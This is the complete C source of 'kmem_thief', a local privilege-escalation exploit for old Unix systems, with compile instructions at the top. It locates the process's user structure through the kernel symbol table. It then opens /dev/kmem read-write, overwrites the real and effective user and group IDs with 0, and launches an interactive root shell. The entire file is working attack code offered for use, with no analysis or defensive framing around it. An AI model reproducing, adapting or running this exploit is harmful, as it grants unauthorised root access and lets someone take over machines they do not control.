/*   
   kmem_thief
   compile as follows:
   cc -O kmem_thief.c -ld -o kmem_thief
*/
#include <stdio.h>
#include <fcntl.h>
#include <sys/signal.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/dir.h>
#include <sys/user.h>

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
        int argc;
        char *argv[], *envp[];
{
        int count, fd;
        long where, lseek();
        fd = open( "/dev/kmem",O_RDWR);
        if(fd < 0)
        {
                printf("Could not open /dev/kmem.\n");
                perror(argv);
                exit(10);
        }
        userlocation = address();
        where = lseek(fd, userlocation, 0);
        if(where != userlocation)
        {
                printf("Could not seek to user page.\n");
                perror(argv);
                exit(20);
        }
        count = read(fd, &userpage, sizeof(struct user));
        if(count != sizeof(struct user))
        {
                printf("Could not read user page.\n");
                perror(argv);
                exit(30);
        }
        printf(" Current uid is %d\n", userpage.u_ruid);
        printf(" Current gid is %d\n", userpage.u_rgid);
        printf(" Current euid is %d\n", userpage.u_uid);
        printf(" Current egid is %d\n", userpage.u_gid);
        userpage.u_ruid = 0;
        userpage.u_rgid = 0;
        userpage.u_uid = 0;
        userpage.u_gid = 0;
        where = lseek(fd, userlocation, 0);
        if(where != userlocation)
        {
                printf("Could not seek to user page.\n");
                perror(argv);
                exit(40);
        }
        write(fd, &userpage, ((char *)&(userpage.u_procp)) - ((char *)&userpage));
        execle("/bin/csh", "/bin/csh", "-i", (char *)0, envp);
}

# include <filehdr.h>
# include <syms.h>
# include <ldfcn.h>

# define LNULL ( (LDFILE *)0 )

long    address ()
{
        LDFILE  *object;
        SYMENT  symbol;
        long    idx;
        object = ldopen( "/unix", LNULL );
        if( object == LNULL ) {
                fprintf( stderr, "Could not open /unix.\n" );
                exit( 50 );
        }
        for ( idx=0; ldtbread( object, idx, &symbol) == SUCCESS; idx++ ) {
                if( ! strcmp( "_u", ldgetname( object, &symbol ) ) ) {
                        fprintf( stdout, "user page is at: 0x%8.8x\n", symbol.n_value );
                        ldclose( object );
                        return( symbol.n_value );
                }
        }
        fprintf( stderr, "Could not read symbols in /unix.\n");
        exit( 60 );
}

